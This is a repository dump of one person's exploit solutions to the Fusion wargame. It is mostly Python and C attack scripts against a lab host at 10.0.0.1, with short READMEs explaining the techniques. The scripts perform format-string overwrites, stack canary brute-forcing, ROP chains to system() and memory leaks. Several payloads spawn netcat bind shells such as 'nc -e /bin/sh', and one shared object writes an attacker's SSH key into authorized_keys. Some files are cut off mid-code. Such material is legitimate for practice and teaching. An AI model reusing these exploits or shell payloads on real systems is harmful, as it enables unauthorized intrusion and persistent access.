├── level10
└── README.md
├── level07
├── paks
│ ├── level07.dos.pak
│ ├── level07.dos2.pak
│ ├── level07.orig.pak
│ ├── level07.arbitrarywrite.pak
│ └── level07.overwritecmdhead.pak
├── libpak.h
├── level07.so.c
├── level07.client.py
├── level07.server.py
├── level07.makepak.py
├── level07.makepak.final.py
├── level07.encrypt.c
├── level07.decrypt.c
└── README.md
├── README.md
├── template.py
├── level04
├── level04-leak.py
├── level04-canarybf.py
├── level04-bruteforcer.py
└── level04.py
├── level11
└── level11.py
├── level12
└── level12.py
├── level06
├── level06.pem
├── level06.ebp.py
├── level06.infoleak.py
└── level06.py
├── level00
└── level00.py
├── level01
└── level01.py
├── level08
├── libgcc_s.so.c
├── level08.py
├── level08.threaded.py
├── encrypt.c
└── README.md
├── level03
└── level03.py
├── level02
└── level02.py
├── level09
└── level09.py
├── level14
├── level14.py
└── README.md
├── level05
├── level05.orig.py
├── level05.py
└── level05.big.py
└── level13
└── level13.py
/level10/README.md:
--------------------------------------------------------------------------------
1 | > perl -e 'print "%1024x\xc8\x10\xa1\xde"' | nc 10.0.0.1 20010
2 |
--------------------------------------------------------------------------------
/level07/paks/level07.dos.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.dos.pak
--------------------------------------------------------------------------------
/level07/paks/level07.dos2.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.dos2.pak
--------------------------------------------------------------------------------
/level07/paks/level07.orig.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.orig.pak
--------------------------------------------------------------------------------
/level07/paks/level07.arbitrarywrite.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.arbitrarywrite.pak
--------------------------------------------------------------------------------
/level07/paks/level07.overwritecmdhead.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.overwritecmdhead.pak
--------------------------------------------------------------------------------
/level07/libpak.h:
--------------------------------------------------------------------------------
1 | struct ops {
2 | void (*register_cmd)(unsigned int opcode, unsigned int flags, void *(*fp)(void *));
3 | void (*unregister_cmd)(unsigned int opcode);
4 | };
5 |
6 | int parse_pak(unsigned char *pakaddr, size_t paklen, size_t base, struct ops *ops);
7 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | #Fusion
2 |
3 | https://exploit-exercises.com/fusion/
4 | Exploit Exercises Fusion level solutions by my own.
5 | If you care about the quality of the code then this is not your repository, please move along. In any other case, help yourself with hints.
6 |
--------------------------------------------------------------------------------
/level07/level07.so.c:
--------------------------------------------------------------------------------
1 | /*
2 | gcc -c -Wall -Werror -fpic level07.c -Wl,-init,foo
3 | gcc -shared -o level07.so level07.o -Wl,-init,foo
4 | */
5 | #include
6 | #include
7 |
8 | void foo(void)
9 | {
10 | system("/bin/nc.traditional -l -p4551 -e /bin/sh");
11 | }
12 |
13 |
--------------------------------------------------------------------------------
/template.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 |
4 | TCP_IP = '10.0.0.1'
5 | TCP_PORT = 20004
6 | BUFFER_SIZE = 1024
7 |
8 | bof = "PLACE IT HERE"
9 |
10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
11 | s.connect((TCP_IP, TCP_PORT))
12 | data = s.recv(BUFFER_SIZE)
13 | print "received data:", data
14 | s.send(bof)
15 | data = s.recv(BUFFER_SIZE)
16 | s.close()
17 |
18 | print "received data:", data
19 |
--------------------------------------------------------------------------------
/level07/level07.client.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | from struct import *
4 | import random
5 |
6 | UDP_IP = '10.0.0.1'
7 | UDP_PORT = 20007
8 | BUFFER_SIZE = 1024
9 |
10 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
11 | s.connect((UDP_IP, UDP_PORT))
12 |
13 | buf = pack("/tmp/test"
17 |
18 | print "sending buf: %s" % (buf)
19 | s.send(buf)
20 | s.close()
21 |
22 |
--------------------------------------------------------------------------------
/level04/level04-leak.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | import base64
4 | import time
5 | import string
6 | import random
7 |
8 | # info leak with the proper secret replaced
9 |
10 | TCP_IP = '10.0.0.1'
11 | TCP_PORT = 20004
12 | BUFFER_SIZE = 1024
13 |
14 | def create_http_request(uri, password):
15 | request = "GET "+uri+" HTTP/1.0\nAuthorization: Basic "+base64.b64encode(password)+"\n\n"
16 | return request
17 |
18 | password = "PC1fysF7wbnh8vU0" + "A"*2036
19 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
20 | s.connect((TCP_IP, TCP_PORT))
21 | httprequest = create_http_request("/./", password)
22 | s.send(httprequest)
23 | while True:
24 | data = s.recv(BUFFER_SIZE)
25 | if not data:
26 | break
27 | print data
28 | s.close()
29 |
30 |
--------------------------------------------------------------------------------
/level11/level11.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 |
4 | TCP_IP = '10.0.0.1'
5 | TCP_PORT = 20011
6 | BUFFER_SIZE = 1024
7 |
8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
9 | s.connect((TCP_IP, TCP_PORT))
10 | data = s.recv(BUFFER_SIZE)
11 | target = int(data[14:22], 16)
12 |
13 | byte4 = chr(target & 0xFF) + chr((target >> 8) & 0xFF) + chr((target >> 16) & 0xFF) + chr((target >> 24) & 0xFF)
14 | byte3 = chr(target+1 & 0xFF) + chr((target >> 8) & 0xFF) + chr((target >> 16) & 0xFF) + chr((target >> 24) & 0xFF)
15 |
16 | bof = byte4 + "%253x%01x%01x%nz"+byte3+"%56460x%01x%01x%01x%n\n"
17 |
18 | s.send(bof)
19 | data = s.recv(BUFFER_SIZE)
20 | while "critical hit" not in data:
21 | data = s.recv(BUFFER_SIZE)
22 | print "received data:", data
23 | s.send("id\n")
24 | data = s.recv(BUFFER_SIZE)
25 | print "received data:", data
26 | s.close()
27 |
28 |
--------------------------------------------------------------------------------
/level04/level04-canarybf.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | import base64
4 | import time
5 | import string
6 | import random
7 |
8 | # get the stack canary with the proper secret replaced
9 |
10 | TCP_IP = '10.0.0.1'
11 | TCP_PORT = 20004
12 | BUFFER_SIZE = 1024
13 |
14 | def create_http_request(uri, password):
15 | request = "GET "+uri+" HTTP/1.0\nAuthorization: Basic "+base64.b64encode(password)+"\n\n"
16 | return request
17 |
18 | for c in xrange(0, 255):
19 | canary = chr(c)
20 | password = "PC1fysF7wbnh8vU0" + "A"*2032 + "\x00\xf5\xd4\x20" + canary
21 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22 | s.connect((TCP_IP, TCP_PORT))
23 | httprequest = create_http_request("/./", password)
24 | s.send(httprequest)
25 | data = s.recv(BUFFER_SIZE)
26 | if "smashing" in data:
27 | print data
28 | continue
29 | else:
30 | print "First character: " + canary.encode("hex")
31 | break
32 | s.close()
33 |
34 |
--------------------------------------------------------------------------------
/level12/level12.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | import struct
4 |
5 | TCP_IP = '10.0.0.1'
6 | TCP_PORT = 20012
7 | BUFFER_SIZE = 1024
8 |
9 | #0804b528 00000607 R_386_JUMP_SLOT 00000000 fflush
10 | #(gdb) x/wx 0x0804b528
11 | #0x804b528 : 0x08048926
12 | #(gdb) p callme
13 | #$1 = {void (void)} 0x8049940
14 |
15 | byte4 = struct.pack("
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #define KEY "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMq4LNkkMDF8vmd0hzw8" \
13 | "/Va5I6K0GNLkruROPB501PPsE/HqKH13d8fOKTWvDgc9At/rRhfaAOgJbpb5wK" \
14 | "YxRFrpGRoZlCyQ5DZCnD3J/MpfB5R02HPzDTwj87FLJFQjLjosO+/TP9Mz0xv2" \
15 | "8eSeHSpvkTAScznNH8t5NEZulw113Ga8GSnteN9wPouNQrHEyo+wh0tw46/FHw" \
16 | "KjFe1n3ho7tj5mhIka5FSen7iYEbby1C+5zKspP8OBF90ndZ5icXPdF7iqDR5s" \
17 | "vPTN2PpU8VeLwKDicYidqy14RDPLscfMUMW7lR/7n1j4paThisUj0w4hrGnGdg" \
18 | "omyINmU6Wpyd root@xoreipeip"
19 |
20 | void foo(void)
21 | {
22 | uid_t ruid, euid, suid;
23 | uid_t rgid, egid, sgid;
24 | FILE *fd;
25 |
26 | getresuid(&ruid, &euid, &suid);
27 | getresgid(&rgid, &egid, &sgid);
28 | printf("%d:%d:%d - %d:%d:%d\n", ruid, euid, suid, rgid, egid, sgid);
29 |
30 | mkdir(".ssh", 0766);
31 | fd = fopen(".ssh/authorized_keys", "w+");
32 | fputs(KEY, fd);
33 | fclose(fd);
34 | }
35 |
--------------------------------------------------------------------------------
/level07/level07.makepak.final.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from struct import *
3 | import sys
4 |
5 | def writestack(fourbytes):
6 | sys.stdout.write("\xAF\x00\x00"+fourbytes)
7 |
8 | def dlopen():
9 | sys.stdout.write("\x4D\x00\x00")
10 |
11 | def dlsym():
12 | sys.stdout.write("\xB4\x00\x00")
13 |
14 | def sub():
15 | sys.stdout.write("\x46\x00\x00")
16 |
17 | def writenull():
18 | sys.stdout.write("\x31\x00\x00")
19 |
20 | def loopin():
21 | sys.stdout.write("\x18\x00\x00")
22 |
23 | def writefile():
24 | sys.stdout.write("\x23\x00\x00")
25 |
26 | def writemem():
27 | sys.stdout.write("\xB0\x00\x00")
28 |
29 | def unregister():
30 | sys.stdout.write("\x95\x00\x00")
31 |
32 | def writeheap(string):
33 | sys.stdout.write("\xEA" + pack("
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include "libpak.h"
14 |
15 | void register_cmd(unsigned int opcode, unsigned int flags, void *(*fp)(void *))
16 | {
17 | printf("reg\n");
18 | }
19 |
20 | void unregister_cmd(unsigned int opcode)
21 | {
22 | printf("unreg\n");
23 | }
24 |
25 | struct ops regops = {
26 | .register_cmd = register_cmd,
27 | .unregister_cmd = unregister_cmd
28 | };
29 |
30 | int main()
31 | {
32 | unsigned char *plaintext, *cipher;
33 | int fd;
34 | FILE *fd2;
35 | struct stat statbuf;
36 | unsigned int i, cipher_len;
37 |
38 | fd = open("level07.unpak", O_RDONLY);
39 | if(!fd) err(1, "Unable to open %s", "level07.unpak");
40 | if(fstat(fd, &statbuf) == -1)
41 | err(1, "Unable to fstat %s", "level07.unpak");
42 |
43 | plaintext = mmap(NULL, statbuf.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
44 | if(plaintext == MAP_FAILED)
45 | err(1, "Unable to mmap %s", "level07.unpak");
46 |
47 | encrypt_pak(plaintext, statbuf.st_size, &cipher, &cipher_len);
48 | fd2 = fopen("level07.pak", "w+");
49 | fwrite(cipher, cipher_len, 1, fd2);
50 | fclose(fd2);
51 | for (i = 0; i
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include "libpak.h"
14 |
15 | void register_cmd(unsigned int opcode, unsigned int flags, void *(*fp)(void *))
16 | {
17 | printf("reg\n");
18 | }
19 |
20 | void unregister_cmd(unsigned int opcode)
21 | {
22 | printf("unreg\n");
23 | }
24 |
25 | struct ops regops = {
26 | .register_cmd = register_cmd,
27 | .unregister_cmd = unregister_cmd
28 | };
29 |
30 | int main()
31 | {
32 | unsigned char *ciphertext, *plaintext;
33 | int fd;
34 | FILE *fd2;
35 | struct stat statbuf;
36 | int status;
37 | unsigned int base, p_len, i;
38 |
39 | fd = open("level07.pak", O_RDONLY);
40 | if(!fd) err(1, "Unable to open %s", "level07.pak");
41 | if(fstat(fd, &statbuf) == -1)
42 | err(1, "Unable to fstat %s", "level07.pak");
43 |
44 | ciphertext = mmap(NULL, statbuf.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
45 | if(ciphertext == MAP_FAILED) err(1, "Unable to mmap %s", "level07.pak");
46 |
47 | status = decrypt_pak(ciphertext, statbuf.st_size, &plaintext, &p_len);
48 |
49 | fd2 = fopen("level07.unpak", "w+");
50 | fwrite(plaintext, p_len, 1, fd2);
51 | fclose(fd2);
52 |
53 |
54 | for (i = 0; i
14 | #0xb73ebb20 <__libc_system>
15 | #difference: 0x9b60
16 |
17 | #0x0804bcd4 R_386_JUMP_SLOT srand
18 | #0x08049b4f : pop eax ; add esp, 0x5c ; ret
19 | #0x08048bf0 : pop ebx ; ret
20 | #0x080493fe : add dword ptr [ebx + 0x5d5b04c4], eax ; ret
21 | #0x0804bcd4 - 0x5d5b04c4 = 0xaaa9b810 -> ebx
22 | #eax = 0x00009b60
23 | #gContents = 0x804bdf4
24 | #08048f80 :
25 | #08048c20 :
26 |
27 |
28 | stack = "\uf08b\u0408" # pop ebx; ret
29 | stack += "\u10b8\ua9aa" # magic value to ebx
30 | stack += "\u4f9b\u0408" # pop eax; add esp, 0x5c; ret
31 | stack += "\u609b\u0000" # 0x00009b60
32 | stack += "A"*0x5c; # 0x5c As
33 | stack += "\ufe93\u0408" # add dword ptr [ebx + 0x5d5b04c4], eax ; ret
34 | stack += "\u208c\u0408" # 08048c20
35 | stack += "\u808f\u0408" # 08048f80
36 | #stack += "ZZZZ"
37 | stack += "\u2805\u6c09" # gContents <- /bin/nc
38 | #stack += "\uf08b\u0408" # pop ebx; ret
39 | #stack += "\ud4bc\u0408" # 0x0804bcd4 R_386_JUMP_SLOT srand
40 | #stack += "\u33a9\u0408" # 0x0804a933 : call dword ptr [ebx]
41 | #stack += "\u90b5\u2c08" # gContents <- /bin/nc
42 | #stack += "\u90b5\u2c08" # exit
43 |
44 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45 | s.connect((TCP_IP, TCP_PORT))
46 | data = s.recv(BUFFER_SIZE)
47 | print "received data:", data
48 | token = data[1:len(data)-2]
49 | json = "\n"+json.dumps({'contents': "/"*600+"/usr/bin/nc -vlp4444 -e/bin/sh", 'title': "C"*127+"\u4141"+"C"*31+stack, 'serverip': '172.16.193.194'})
50 | msg = token+chr(random.randint(0,255))+chr(random.randint(0,255))+chr(random.randint(0,255))+json
51 | result = hmac.new(token, msg, sha1).digest()
52 | while ord(result[0]) != 0 or ord(result[1]) != 0:
53 | msg = token+chr(random.randint(0,255))+chr(random.randint(0,255))+chr(random.randint(0,255))+json
54 | result = hmac.new(token, msg, sha1).digest()
55 | print "[+] Collision found: "+hmac.new(token, msg, sha1).hexdigest()
56 | s.send(msg)
57 | s.close()
58 |
59 |
--------------------------------------------------------------------------------
/level02/level02.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | from struct import *
4 | import time
5 |
6 | TCP_IP = '10.0.0.1'
7 | TCP_PORT = 20002
8 | BUFFER_SIZE = 1024
9 | BUFFER_SIZE2 = 4 * 32 # 4 * uint
10 | BUFFER_SIZE3 = 32*4096 + 16 + 4
11 |
12 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13 | s.connect((TCP_IP, TCP_PORT))
14 | data = s.recv(BUFFER_SIZE)
15 | print "received data:", data
16 | data = s.recv(BUFFER_SIZE)
17 | #print "received data:", data
18 |
19 | s.send("E")
20 | s.send(pack("0x804b500 at 0x00002418: .bss ALLOC
27 | #$5 = {ssize_t (int, void *, size_t)} 0x804952d
28 |
29 | rop = pack(" system! (+0xfffa07a0)
52 |
53 | #lib.setsockopt - 0x8048820: jmp *0x8063278
54 | #(gdb) x/w 0x8063278
55 | #0x8063278: 0xb775da70
56 | #0xb775da70-0xa1090 -> exit! (+0xfff5ef70)
57 |
58 | command_addr = 0x08063010 # memory in libc filled with nulls
59 | kvsyscall_addr = 0x080632f0
60 | kvsyscall = pack(" 263 -> stack (all values on stack)
31 |
32 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
33 | s.connect((TCP_IP, TCP_PORT))
34 | s.send("%1$x%6$x%4$x%256$x%263$x\n")
35 | data = s.recv(BUFFER_SIZE)
36 |
37 | fsrleak = data[0:8]
38 | level14baseleak = data[8:16]
39 | stackropleak = data[16:24]
40 | stackp2pleak = data[24:32]
41 | stackpleak = data[32:40]
42 | level14base = int(level14baseleak, 16) - 0xb700
43 | stackrop = int(stackropleak, 16) - 0x234
44 | stackp2p = int(stackp2pleak, 16)
45 | stackp = int(stackpleak, 16)
46 |
47 | fsr = int(fsrleak, 16) + 0x78c8 # second heap variable - last heap variable distance
48 | systemaddr = level14base - 0x39160
49 | exitaddr = level14base - 0x29f620
50 | alignedstack = (stackp2p & 0xFFFFFFFC) + 0x30
51 |
52 |
53 | bw = 0x00
54 | p2pbytelo = ((alignedstack - bw) & 0xFFFF) + 0
55 | payload0 = "%"+str(p2pbytelo)+"x%256$hn" # aligning the stack!
56 | payload0 += "\n\x00"
57 | s.send(payload0)
58 | s.recv(BUFFER_SIZE)
59 | print "[+] stack address aligned"
60 |
61 | for i in range(1,7):
62 | s.send(generate_formatstring(stackrop + (i-1)*2, i*4-2))
63 | s.recv(BUFFER_SIZE)
64 | s.send(generate_formatstring(stackrop >> 0x10, i*4))
65 | s.recv(BUFFER_SIZE)
66 | print "[+] %d. value set" % i
67 |
68 | bw = 0x28 # length of shell payload
69 | bytelo1 = (((systemaddr & 0xFFFF) - bw) & 0xFFFF)
70 | bw += bytelo1
71 | bytehi1 = ((((systemaddr >> 16) & 0xFFFF) - bw) & 0xFFFF)
72 | bw += bytehi1
73 |
74 | bytelo2 = (((exitaddr & 0xFFFF) - bw) & 0xFFFF)
75 | bw += bytelo2
76 | bytehi2 = ((((exitaddr >> 16) & 0xFFFF) - bw) & 0xFFFF)
77 | bw += bytehi2
78 |
79 | bytelo3 = (((fsr & 0xFFFF) - bw) & 0xFFFF)
80 | bw += bytelo3
81 | bytehi3 = ((((fsr >> 16) & 0xFFFF) - bw) & 0xFFFF)
82 | bw += bytehi3
83 |
84 | payloadx = "/bin/nc.traditional -ltp 1337 -e/bin/sh;" # eat this system()!
85 | payloadx += "%"+str(bytelo1)+"x%275$hn%"+str(bytehi1)+"x%276$hn" # ret to system
86 | payloadx += "%"+str(bytelo2)+"x%277$hn%"+str(bytehi2)+"x%278$hn" # exit() pointer
87 | payloadx += "%"+str(bytelo3)+"x%279$hn%"+str(bytehi3)+"x%280$hn" # heap addr that points to this payload
88 | payloadx += "\n\x00"
89 | s.send(payloadx)
90 | print "[+] last payload sent, rop on stack"
91 | print "You can connect to %s on port tcp/1337 now." % TCP_IP
92 |
93 | time.sleep(1)
94 |
95 |
--------------------------------------------------------------------------------
/level06/level06.infoleak.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | from struct import *
4 | import time
5 | import ssl
6 | import random
7 | import threading
8 |
9 | #ugly info leak with ugly implementation. My bad.
10 |
11 | TCP_IP = '10.0.0.1'
12 | TCP_PORT = 20006
13 | BUFFER_SIZE = 1024
14 |
15 | def getaddress(leak):
16 | addrpos = leak.find("\xb7")
17 | if addrpos == -1:
18 | return "No address found in leak. Run again please"
19 |
20 | addr = leak[addrpos-3:addrpos+1]
21 | if leak[addrpos-3] != "\x38":
22 | return "Wrong address found, looking for specific. ["+addr.encode("hex")+"] Run again please"
23 | addr = leak[addrpos-3:addrpos+1]
24 | return addr.encode("hex")
25 |
26 | def getaddress2(leak):
27 | addrpos = 0
28 | while addrpos != -1:
29 | addrpos = leak.find("\x38", addrpos+1)
30 | if addrpos == -1:
31 | return "No address found in leak. Run again please"
32 |
33 | addr = leak[addrpos:addrpos+4]
34 | if (leak[addrpos+3] != "\xb7") and (leak[addrpos+3] != "\xb8"):
35 | print "Wrong address found, looking for specific. ["+addr.encode("hex")+"] Run again please"
36 | else:
37 | return "Found: "+addr.encode("hex")
38 |
39 |
40 | class myThread (threading.Thread):
41 | def __init__(self, threadID, name, count):
42 | threading.Thread.__init__(self)
43 | self.threadID = threadID
44 | self.name = name
45 | self.count = count
46 | def run(self):
47 | dosomedemage(self.name, self.count)
48 |
49 | def dosomedemage(name, count):
50 | s_plain = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
51 | s_plain.connect((TCP_IP, TCP_PORT))
52 | s = ssl.wrap_socket(s_plain, ca_certs='level06.pem',
53 | cert_reqs=ssl.CERT_REQUIRED,
54 | ssl_version=ssl.PROTOCOL_TLSv1)
55 | infoleak = ""
56 | data = s.recv(BUFFER_SIZE)
57 |
58 | while True:
59 | if name in "first":
60 | s.send("s a %d\n" % (count))
61 | s.send("A"*count)
62 | data = s.recv(BUFFER_SIZE)
63 |
64 | if name in "second":
65 | s.send("s a %d\n" % (count))
66 | s.send("A"*count)
67 | data = s.recv(BUFFER_SIZE)
68 |
69 | if name in "third":
70 | s.send("g a\n")
71 | try:
72 | data = s.recv(BUFFER_SIZE)
73 | if "// Sending" not in data:
74 | infoleak += data
75 | data = s.recv(BUFFER_SIZE)
76 | if "A"*10 not in data:
77 | infoleak += data
78 | except:
79 | print getaddress(infoleak)
80 | break
81 | s.close()
82 |
83 |
84 | s_plain = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
85 | s_plain.connect((TCP_IP, TCP_PORT))
86 | s = ssl.wrap_socket(s_plain, ca_certs='level06.pem',
87 | cert_reqs=ssl.CERT_REQUIRED,
88 | ssl_version=ssl.PROTOCOL_TLSv1)
89 | data = s.recv(BUFFER_SIZE)
90 |
91 | s.send("s a 100\n")
92 | s.send("A"*100)
93 | data = s.recv(BUFFER_SIZE)
94 |
95 | thread1 = myThread(1, "first", 1000)
96 | thread2 = myThread(2, "second", 10)
97 | thread3 = myThread(3, "third", 1)
98 |
99 | thread1.start()
100 | thread2.start()
101 | thread3.start()
102 |
--------------------------------------------------------------------------------
/level05/level05.orig.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | from struct import *
4 | import time
5 | import sys
6 | import struct
7 | import random
8 |
9 | #pre beta file for test
10 |
11 | TCP_IP = '10.0.0.1'
12 | TCP_PORT = 20005
13 | BUFFER_SIZE = 1024
14 |
15 |
16 | def register(s, name):
17 | s.send("addreg " + name + " 32 127.0.0.1\n")
18 | # print "addreg " + name + " 32 127.0.0.1"
19 | return True
20 |
21 | def unregister(s, name):
22 | s.send("addreg " + name + " 0 0.0.0.0\n")
23 | # print "addreg " + name + " 0 0.0.0.0"
24 | return True
25 |
26 | def checkname(s, name):
27 | s.send("checkname " + name + "\n")
28 | # print "checkname " + name
29 | data = s.recv(BUFFER_SIZE)
30 | # print data
31 | if "is not indexed already" in data:
32 | return False
33 | else:
34 | return True
35 |
36 | def bruteforce(s, prefix, postfix, range):
37 | candidates = []
38 | for i in range:
39 | if i == 32:
40 | continue
41 | register(s, prefix + chr(i) + postfix)
42 | time.sleep(0.1)
43 | checkname(s, "test")
44 | result0 = checkname(s, prefix)
45 | result1 = checkname(s, prefix)
46 | unregister(s, prefix + chr(i) + postfix)
47 | if result0 or result1:
48 | # print result0
49 | # print result1
50 | print "possible candidate: "+str(hex(i))
51 | candidates.append(i)
52 | continue
53 | return candidates
54 |
55 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
56 | s.connect((TCP_IP, TCP_PORT))
57 | data = s.recv(BUFFER_SIZE)
58 | print "received data:", data
59 |
60 | #test whether it works
61 | register(s, "A"*16+"\x04")
62 | time.sleep(0.5)
63 | checkname(s, "test")
64 | result = []
65 |
66 | for i in xrange(4):
67 | result.append(checkname(s, "A"*16))
68 |
69 | unregister(s, "A"*16+"\x04")
70 | for i in xrange(4):
71 | result.append(checkname(s, "A"*16))
72 |
73 | if (result[0] or result[1]) and (result[2] or result[3]):
74 | if not (result[4] or result[5] or result[6] or result[7]):
75 | print "Works!"
76 | else:
77 | print "Does not work!"
78 | sys.exit()
79 | else:
80 | print "Does not work!"
81 | sys.exit()
82 |
83 | retestedmemory = []
84 | print "trying to find hightest byte"
85 | memory = bruteforce(s, "A"*15, "\x04", range(0,256))
86 | print "final: "
87 | retestedmemory.append(bruteforce(s, "B"*15, "\x04", memory)[0])
88 | print "final: " + str(hex(retestedmemory[0]))
89 |
90 | print "trying to find second hightest byte"
91 | memory = range(0,256)
92 | #memory = bruteforce(s, "A"*14, chr(retestedmemory[0])+"\x04", range(0,256))
93 | while len(memory) != 1:
94 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*14, chr(retestedmemory[0])+"\x04", memory)
95 |
96 | retestedmemory.append(memory[0])
97 | print "final: " + str(hex(retestedmemory[1]))
98 | #retestedmemory.append(0xb7)
99 | #retestedmemory.append(0x71)
100 | print "trying to find second lowest byte"
101 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", range(0,256))
102 | memory = range(0,256)
103 | while len(memory) != 1:
104 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory)
105 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[0])+chr(retestedmemory[1])+"\x04", range(0x58,0x59))
106 | print "."
107 | #memory = bruteforce(s, "B"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory)
108 | print "."
109 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[0])+chr(retestedmemory[1])+"\x04", memory)
110 | print "."
111 | print str(hex((retestedmemory[0]<<16) + (retestedmemory[1]<<8) + (((memory[0]>>4)-2)<<4)))
112 |
113 | s.close()
114 |
115 |
--------------------------------------------------------------------------------
/level07/README.md:
--------------------------------------------------------------------------------
1 | #level07 solution
2 |
3 | I have spent a few days/weeks to solve this, but finally have it, reliably.
4 | In a few sentences here are some thoughts:
5 |
6 | level07 binary registers two functions into a linked list and both of them could have called with a special prefix (the opcode of the function). But after loading and calling the libpak.so, it is going to read up the default .pak file which removes the second registered function (execute_command), so the easy way to execute code is gone by default.
7 | By reversing the libpak.so, I managed to understand the way how the binary works:
8 | - load_new_pakfile can be invoked by an UDP packet previously explained
9 | - it connects back to us for the pak file encoded
10 | - encoding is easy, explained by the source
11 | - encrypted pak is sent and decoded, and will be decrypted by the libpak with rc4
12 | - easy to "implement" encryption/decryption by using libpak.so and invoking the functions
13 | - after decryption, the run_pak_vm runs on the decrypted pak which is a DFA (Deterministic Finite Automata)
14 |
15 | The automata can do the following things:
16 | - write any 4bytes into a variable on stack
17 | - write arbitrary message into a variable that is allocated on the fly on the heap
18 | - substract/add two 4bytes values - this is f*cked up this is why I wasted a hell of a lot of time, loop should be decremented only by one
19 | - writing NULL into a variable on stack
20 | - call dlopen() on a file (this was the solution btw)
21 | - call dlsym() on any object
22 | - loop the variables
23 | - unregister an opcode (this is done by the default pak file/on execute_command function)
24 | - write data into a file from a memory address
25 | - write any 4 bytes into any memory address (seems nice, isn't it?)
26 |
27 | I wrote multiple python scripts and c codes to solve this level:
28 | - level07.client.py - asks the server to connect back to us and/or send any udp packet with the opcode and arguments
29 | - level07.server.py - listens on the specified port and wait for incoming connection to serve the level07.pak file encoded
30 | - level07.decrypt.c - decrypt any well-formed and ecrypted pak file (level07.pak)
31 | - level07.encrypt.c - encrypt any decrypted pak file (level07.unpak)
32 | - level07.makepak.py - DFA implemented in python, works as a "library", you can craft your on "commands"
33 | - level07.makepak.final.py - actual exploit
34 | - level07.so.c - shared object c file
35 |
36 | How I tried:
37 | First I tried to resolve a function address to have a fix address and later to substract the difference which is constant, but because of the substraction was not implemented properly (maybe on purpose) I could not solve this problem, to find a reliable way to gain knowledge about the base address.
38 | Then I tried to find some kind of info leak that can be accessed from the attacker machine, but no luck. Without the info leak I had no prior knowledge about the addresses. With the knowledge I would have been able to resolve the cmdtab_head object on the heap, allocate a new heap variable, craft a partly valid linked-list and just replace the pointer on the resolved address to the newly allocated address. When I cheated, this worked and I managed to replace the linked list with the one that points to the execute_command() function. But because I had no luck with the infoleak, I did not manage to write an exploit that is reliable.
39 |
40 | How I solved:
41 | When I first saw the dlopen function, I had a feeling maybe I can write out an .so and have some kind of constructor in it, but I didn't tried because I thought I need to find a stack overflow (based on the sheet of the level). Finally I created a shared object that has an initialization function that is called when the object is loaded. This way I managed to create a pak file that stores the filename on heap, the content of the .so file on heap and writes into a file. After that we only need to call dlopen() in the DFA and there it is, our code is running on the victim machine. Piece of cake, huh? It wasn't :)
42 |
43 |
--------------------------------------------------------------------------------
/level13/level13.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | '''
3 | solution is fully mine, but there is another writeup that explains things that
4 | are partly found in this exploit:
5 | https://r3v3rs3r.wordpress.com/2014/07/27/solving-fusion-level-13/
6 |
7 | First we leak some data from stack with direct parameter access and default
8 | access, calculate the base addresses of modules. From the calculated addresses
9 | we have the system() addr, fflush.got.plt addr and the address of the first
10 | parameter on stack of fflush. In the second round we have 3different variables
11 | controlled: user, pass, email. Email can store our payload (revshell), user can
12 | overwrite fflush's pointer to point to system() and pass can overwrite the
13 | memaddr that points to the fflush first parameter on stack. In the second round
14 | just after the fprintf we are going to execute fflush which points to system at
15 | that moment. Bumm, there is our shell.
16 | While loop is needed to look for addresses that can be modified in less than 63
17 | bytes. If any of the parameters are more than 62bytes, it won't be process
18 | properly.
19 | '''
20 |
21 | import socket
22 | import struct
23 |
24 | TCP_IP = '10.0.0.1'
25 | TCP_PORT = 20013
26 | BUFFER_SIZE = 1024
27 |
28 | #%128$x - /lib/i386-linux-gnu/ld-2.13.so - ld base + 0x10c9c
29 | #%9$x - heap - base + 0x1a0 - won't be used, btw
